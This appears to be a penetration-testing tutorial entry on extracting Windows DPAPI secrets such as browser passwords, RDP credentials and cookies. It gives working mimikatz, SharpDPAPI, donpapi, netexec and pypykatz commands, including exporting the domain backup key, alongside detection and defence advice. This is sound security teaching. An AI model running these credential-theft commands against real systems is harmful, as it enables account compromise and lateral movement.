DPAPI Secrets

DPAPI (Data Protection API) is how Windows encrypts "per-user" secrets: browser passwords, saved RDP credentials, WiFi keys, Credential Manager entries, Chrome cookies. Extracting those secrets is often the way to pivot from one user to another or to find domain credentials forgotten in a profile.

Why it works. DPAPI encrypts each secret (blob) with a user-specific master key, which is itself protected by a hash derived from the user's password. If we control the user's session, Windows decrypts for us transparently; if we only have their files, we need their master key, obtained from their password/hash, from LSASS memory, or from the domain DPAPI backup key (held by the DC, which decrypts any user's keys).

The abuse. You locate the blobs and master keys in the profile and decrypt them with mimikatz, pypykatz, SharpDPAPI or, over the network, with netexec.

dir /a "%APPDATA%\Microsoft\Protect\<SID>"          :: user master keys
dir /a "%APPDATA%\Microsoft\Credentials"            :: credential blobs
dir /a "%LOCALAPPDATA%\Microsoft\Credentials"

With mimikatz (in the user's session, or with their password/hash):

dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<guid>" /sid:<SID> /password:<pass>
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<guid>" /rpc      # ask the DC for the key
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\<blob>"
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect
lsadump::backupkeys /system:<dc> /export             # domain backup key (as DA)

With tooling (Windows and over the network):

SharpDPAPI.exe triage                                # all blobs for the current user
SharpDPAPI.exe backupkey /server:<dc> /file:key.pvk  # export the domain backup key
donpapi -u <user> -p <pass> -d <domain> <ip>         # bulk collect and decrypt over the network
netexec smb <ip> -u <user> -p <pass> --dpapi
netexec smb <ip> -u <user> -p <pass> --dpapi cookies
pypykatz dpapi masterkey <masterkeyfile> --key <sha1>
pypykatz dpapi cred <masterkeyfile> <credfile>       # offline with already-collected blobs

Requirements. You need the user's master key (via their password/hash, LSASS memory, or the domain backup key if you are DA). Without the master key the blob is opaque. The value lies in what each profile stores: browsers, RDP, and service credentials.

How to detect it. It is a stealthy technique (it uses legitimate APIs), but it leaves a trail in the bulk access to ...\Microsoft\Protect\ and ...\Microsoft\Credentials\ files of one or more users, especially by a process or account that is not the profile owner. In a domain, reading the DPAPI backup key from the DC is a very high-value event worth auditing.

Defence. Protect LSASS (Credential Guard) so master keys cannot leak, restrict who can read the domain DPAPI backup key, and reduce stored secrets (do not save passwords in browsers or RDP credentials on shared machines). It builds on an LSASS dump and feeds credential hunting and credential reuse.